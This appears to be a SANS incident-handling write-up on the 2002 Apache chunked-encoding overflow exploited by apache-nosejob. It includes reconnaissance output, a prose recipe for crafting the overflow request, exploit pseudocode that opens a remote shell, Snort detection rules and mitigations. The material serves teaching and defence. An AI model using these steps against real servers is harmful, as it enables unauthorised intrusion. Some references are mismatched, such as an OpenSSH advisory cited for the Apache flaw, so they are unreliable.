This is output from tcpdump to show the how web server responds to an HTTP GET request:

```
0x0000       4500 0145 3f85 4000 4006 b0be c0a8 6414 E..E?.@.@.....d.
0x0010       c0a8 640a 0050 96d0 458e 2943 d47c 14ca ..d..P..E.)C.|..
0x0020       8018 e240 4d86 0000 0101 080a 007e ef2c ...@M........~.,
0x0030       0005 49cf 4854 5450 2f31 2e31 2033 3034 ..I.HTTP/1.1.304
0x0040       204e 6f74 204d 6f64 6966 6965 640d 0a44 .Not.Modified..D
0x0050       6174 653a 2057 6564 2c20 3131 2053 6570 ate:.Wed,.11.Sep
0x0060       2032 3030 3220 3033 3a32 393a 3532 2047 .2002.03:29:52.G
0x0070       4d54 0d0a 5365 7276 6572 3a20 4170 6163 MT..Server:.Apac
0x0080       6865 2f31 2e33 2e32 3420 2855 6e69 7829 he/1.3.24.(Unix)
0x0090       0d0a 436f 6e6e 6563 7469 6f6e 3a20 4b65 ..Connection:.Ke
0x00a0       6570 2d41 6c69 7665 0d0a 4b65 6570 2d41 ep-Alive..Keep-A
0x00b0       6c69 7665 3a20 7469 6d65 6f75 743d 3135 live:.timeout=15
0x00c0       2c20 6d61 783d 3130 300d 0a45 5461 673a ,.max=100..ETag:
0x00d0       2022 3336 3039 382d 3562 302d 3361 6631 ."36098-5b0-3af1
0x00e0       6631 3236 3b33 6435 3964 3538 3522 0d0a f126;3d59d585"..
0x00f0       436f 6e74 656e 742d 4c6f 6361 7469 6f6e Content-Location
```

```
0x0100       3a20 696e 6465 782e 6874 6d6c 2e65 6e0d :.index.html.en.
0x0110       0a56 6172 793a 206e 6567 6f74 6961 7465 .Vary:.negotiate
0x0120       2c20 6163 6365 7074 2d6c 616e 6775 6167 ,.accept-languag
0x0130       652c 2061 6363 6570 742d 6368 6172 7365 e,.accept-charse
0x0140       740d 0a0d 0a                            t....
```

The server response reveals the web server version with this string:
```
Server: Apache/1.3.24 (Unix)
```

Nmap was run against the target machine with this command line:
```
# /usr/local/bin/nmap -O 192.168.100.20
```

The -O option to nmap activates remote host identification.

This is the remote host identification portion of the nmap output:
```
Remote operating system guess: FreeBSD 4.6-RELEASE or -STABLE (July
2002) (X86)
```

In this case Nmap correctly determined the operating system of the server machine. For reference this is what is returned on the server machine by the command 'uname -a':
```
# uname -a
FreeBSD  4.6-RELEASE FreeBSD 4.6-RELEASE #0: Tue Jun 11 06:14:12 GMT
2002     murray@builder.freebsdmall.com:/usr/src/sys/compile/GENERIC
i386
```

If an exploit tool were not available, a GET request would have to be crafted and sent over port 80 to a target machine.

The crafted GET request would need three things: shellcode, the injection code, and would most likely need a NOP sled.

Shellcode is a set of computer instructions that the attacker wants to run on the victim machine. Shellcode is written to allow an attacker to gain a permanent connection to the target.

The injection code exploits the vulnerability and causes the target to run the shellcode. For the Apache vulnerability the injection code would need to use a value for transfer encoding length that Apache would interpret as a negative number. This allows it to pass the range check and overflow the buffer on the stack. Anything with the most significant bit set would work. We would also have to have a block of data in the request before the negative transfer length. This data would be copied onto the stack by the BSD memcpy() command. This data will have to contain the return code to the shellcode and also the value to put in the memcpy() length variable stored on the stack.

The NOP sled is a large block of No OPeration intructions, which are ignored by the CPU when it encounters them. The NOP sled preceeds the shellcode. This

makes it easier for the injection code to point to the shellcode, since the injection code does not have to point to the start of the shellcode, instead only has to point to anywhere in the NOP sled.

Signature of the attack

If the attack is successful, nothing is logged by apache to its own logs or to the syslog. If an attacker has to experiment to find the correct parameters to get the exploit to work, one of these statements may show up in Apache's $APACHE_BASE/logs/error_log file:

```
[Mon Aug 19 00:35:31 2002] [error] [client 192.168.100.10] request
failed: error reading the headers
[Tue Sep 10 02:39:12 2002] [notice] child pid 703 exit signal
Segmentation fault (11)
```

The main Apache process monitors its sub processes. When the thread that the exploit was run against does not respond within 5 minutes, the main Apache process kills the thread and puts this message in the $APACHE_BASE/logs/error_log file:

```
[Tue Sep 10 00:06:16 2002] [notice] child pid 435 exit signal Alarm
clock (14)
```

Snort, http://www.snort.org, is a network intrusion detection system. When Snort version 1.8.7 runs on the server machine, it gives this message when the attack is run:

```
[**] [1:1333:1] WEB-ATTACKS id command attempt [**]
[Classification: Web Application Attack] [Priority: 1]
09/11-00:05:14.706640 192.168.100.10:38740 -> 192.168.100.20:80
TCP TTL:64 TOS:0x0 ID:50998 IpLen:20 DgmLen:147 DF
***AP*** Seq: 0x3D00405E  Ack: 0xBCBD7F8E  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 918791 8890890
```

This was the rule that was triggered:

```
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"WEB-ATTACKS id
command attempt"; flags:A+; content:"\;id";nocase; sid:1333; rev:1;
classtype:web-application-attack;)
```

Snort is responding the 'id' command that apache-nosejob runs after getting a shell.

Upgrading from the version of Snort on the attack machine to a more recent one with a newer ruleset allows it to detect the actual exploit and not just the 'id' command executed after compromising the server. This is from the Snort alert log:

```
[**] [1:1807:1] WEB-MISC Transfer-Encoding: chunked [**]
[Classification: Web Application Attack] [Priority: 1]
09/11-01:22:34.930061 192.168.100.10:38836 -> 192.168.100.20:80
TCP TTL:64 TOS:0x0 ID:5780 IpLen:20 DgmLen:518 DF
***AP*** Seq: 0x617B8C65  Ack: 0x89DE7655  Win: 0x16D0  TcpLen: 32
```

```
TCP Options (3) => NOP NOP TS: 1382795 9354904
[Xref => http://www.securityfocus.com/bid/4474]
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0079]
[Xref => http://www.securityfocus.com/bid/5033]
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0392]

[**] [1:1333:4] WEB-ATTACKS id command attempt [**]
[Classification: Web Application Attack] [Priority: 1]
09/11-01:22:35.032689 192.168.100.10:38836 -> 192.168.100.20:80
TCP TTL:64 TOS:0x0 ID:5783 IpLen:20 DgmLen:147 DF
***AP*** Seq: 0x617B8E38  Ack: 0x89DE7662  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 1382806 9354916
```

This is the rule present in web-misc.rules,v 1.92 2002/08/18:

```
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-
MISC Transfer-Encoding\: chunked"; flow:to_server,established;
content:"Transfer-Encoding\:"; nocase; content:"chunked"; nocase;
classtype:web-application-attack; reference:bugtraq,4474;
reference:cve,CAN-2002-0079; reference:bugtraq,5033;
reference:cve,CAN-2002-0392; sid:1807; rev:1;)
```

This rule is able to detect other exploits based on the same chunk size vulnerability.

How to protect against it

To protect against the vulnerability a site can upgrade the server to Apache version 1.3.26 or 2.0.39, each of which fix the vulnerability.

Immediate upgrade is not always possible. The recommended versions of Apache have other features in addition to the vulnerability fix. Many sites test new versions of software before running them on their production servers to ensure the new version does not have any major defects.

To protect against stack buffer overflows, some operating systems can be configured not to execute code on the stack. Disabling stack execution would not work in this case, since the shellcode used by the buffer overflow is not located on the stack, but in a different part of memory.

There are tools available to protect against stack overflow attacks. Some examples are:

- Stackguard
  - A compiler that places a signature (called a “canary”) next to return addresses on the stack and detects alteration of the signature. Stack buffer overflow attacks alter the signature.
  - Available for Intel Linux platforms
  - Website: www.immunix.org
- Entercept
  - The vendor claims the product “[protects] against code execution as a result of buffer overflows” and recommends their product specifically for the Apache vulnerability on this page:

http://www.entercept.com/news/uspr/06-18-02.asp
- Website: www.entercept.com

- Stack Shield
  - Copies function return addresses from the stack to another part of memory. Checks the return addresses on the stack against what was previously stored in memory to detect changes to return addresses.
  - Works on Linux/Intel machines.
  - Website: http://www.angelfire.com/sk/stackshield

The Apache vendor fixes the problem in the function ap_get_client_block(). This function retrieves the message body of the request. The function was modified to check the chunk length value. If the chunk length is a negative number, the function will exit with an error and will not try to read the request.

Source code/Pseudo code

The source code for apache-nosejob.c is located at http://www.immunitysec.com/GOBBLES/exploits/apache-nosejob.c or http://online.securityfocus.com/data/vulnerabilities/exploits/apache-nosejob.c

This is a pseudo code overview of what the exploit code does:

```
parse command line arguments
resolve target host
connect to target
build the packet described in the "How the exploit works" section
above
send the packet to the target
wait for one of these events:
  response from the target
    if we get at least 2 consecutive 'G' characters
       write "O" to the target
       write "uname -a;id;echo 'hehe, now use another\
              bug/backdoor/feature (hi Theo!) to gain instant r00t';
\n"
    else exit
  input on stdin
    read stdin then write it to the target
  if 5 seconds elapse
    exit program

loop forever
  wait for one of these events:
    response from target
      write response to stdout
    input on stdin
      read stdin then write it to the target
    EOF on either stdin or from targets
      exit
```

Additional Information
CVE Candidate Number – CAN-2002-0639:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0639

CERT Advisory CA-2002-18 OpenSSH Vulnerabilities in Challenge Response Handling:
http://www.cert.org/advisories/CA-2002-18.html

Links to exploit source code:
http://www.immunitysec.com/GOBBLES/exploits/apache-nosejob.c or
http://online.securityfocus.com/data/vulnerabilities/exploits/apache-nosejob.c

Vendor link discussing vulnerability:
http://httpd.apache.org/info/security_bulletin_20020620.txt

News story about the exploit:
http://www.linuxsecurity.com/articles/server_security_article-5157.html

How to Write Buffer Overflows:
http://l0pht.com/advisories/bufero.html

Smashing the Stack for Fun and Profit:
http://l0pht.com/advisories/bufero.html

Source code for FreeBSD memcpy():
ftp://ftp2.freebsd.org/pub/FreeBSD/FreeBSD-stable/src/lib/libc/string/memcpy.c
ftp://ftp2.freebsd.org/pub/FreeBSD/FreeBSD-stable/src/lib/libc/string/bcopy.c

Intel Architecture Software Developer's Manual, Volume 2: Instruction Set Reference Manual:
http://www.intel.com/design/pro/manuals/243191.htm
NOP instruction 'A' is 0x41 in hexadecimal which is the opcode for “INC eCX”. (See Table A-2. One-byte Opcode Map (Left) in the Intel manual)

Last Updated: November 13th, 2018

Upcoming SANS Penetration Testing

SANS San Francisco Fall 2018	San Francisco, CA	Nov 26, 2018 - Dec 01, 2018	Live Event
SANS Stockholm 2018	Stockholm, Sweden	Nov 26, 2018 - Dec 01, 2018	Live Event
SANS Austin 2018	Austin, TX	Nov 26, 2018 - Dec 01, 2018	Live Event
Austin 2018 - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling	Austin, TX	Nov 26, 2018 - Dec 01, 2018	vLive
Mentor Session AW - SEC560	Colorado Springs, CO	Nov 28, 2018 - Dec 07, 2018	Mentor
SANS Nashville 2018	Nashville, TN	Dec 03, 2018 - Dec 08, 2018	Live Event
SANS Santa Monica 2018	Santa Monica, CA	Dec 03, 2018 - Dec 08, 2018	Live Event
SANS Dublin 2018	Dublin, Ireland	Dec 03, 2018 - Dec 08, 2018	Live Event
Mentor Session AW - SEC504	St. Petersburg, FL	Dec 05, 2018 - Dec 14, 2018	Mentor
Community SANS Tampa SEC560	Tampa, FL	Dec 10, 2018 - Dec 15, 2018	Community SANS
SANS Frankfurt 2018	Frankfurt, Germany	Dec 10, 2018 - Dec 15, 2018	Live Event
SANS Cyber Defense Initiative 2018	Washington, DC	Dec 11, 2018 - Dec 18, 2018	Live Event
Mentor Session AW - SEC542	Oklahoma City, OK	Dec 12, 2018 - Jan 25, 2019	Mentor
Cyber Defense Initiative 2018 - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling	Washington, DC	Dec 13, 2018 - Dec 18, 2018	vLive
Cyber Defense Initiative 2018 - SEC560: Network Penetration Testing and Ethical Hacking	Washington, DC	Dec 13, 2018 - Dec 18, 2018	vLive
Mentor Session AW - SEC504	Hong Kong, China	Dec 22, 2018 - Jan 26, 2019	Mentor
SANS Bangalore January 2019	Bangalore, India	Jan 07, 2019 - Jan 19, 2019	Live Event
SANS vLive - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling	SEC504 - 201901,	Jan 08, 2019 - Feb 14, 2019	vLive
Mentor Session - SEC542	Denver, CO	Jan 10, 2019 - Mar 14, 2019	Mentor
SANS Threat Hunting London 2019	London, United Kingdom	Jan 14, 2019 - Jan 19, 2019	Live Event
Sonoma 2019 - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling	Santa Rosa, CA	Jan 14, 2019 - Jan 19, 2019	vLive
SANS Amsterdam January 2019	Amsterdam, Netherlands	Jan 14, 2019 - Jan 19, 2019	Live Event
SANS Sonoma 2019	Santa Rosa, CA	Jan 14, 2019 - Jan 19, 2019	Live Event
Cyber Threat Intelligence Summit & Training 2019	Arlington, VA	Jan 21, 2019 - Jan 28, 2019	Live Event
SANS Miami 2019	Miami, FL	Jan 21, 2019 - Jan 26, 2019	Live Event
SANS Las Vegas 2019	Las Vegas, NV	Jan 28, 2019 - Feb 02, 2019	Live Event
SANS Security East 2019	New Orleans, LA	Feb 02, 2019 - Feb 09, 2019	Live Event
Community SANS Minneapolis SEC504	Minneapolis, MN	Feb 04, 2019 - Feb 09, 2019	Community SANS
Security East 2019 - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling	New Orleans, LA	Feb 04, 2019 - Feb 09, 2019	vLive
Security East 2019 - SEC542: Web App Penetration Testing and Ethical Hacking	New Orleans, LA	Feb 04, 2019 - Feb 09, 2019	vLive
Mentor Session - SEC560	Fredericksburg, VA	Feb 06, 2019 - Mar 20, 2019	Mentor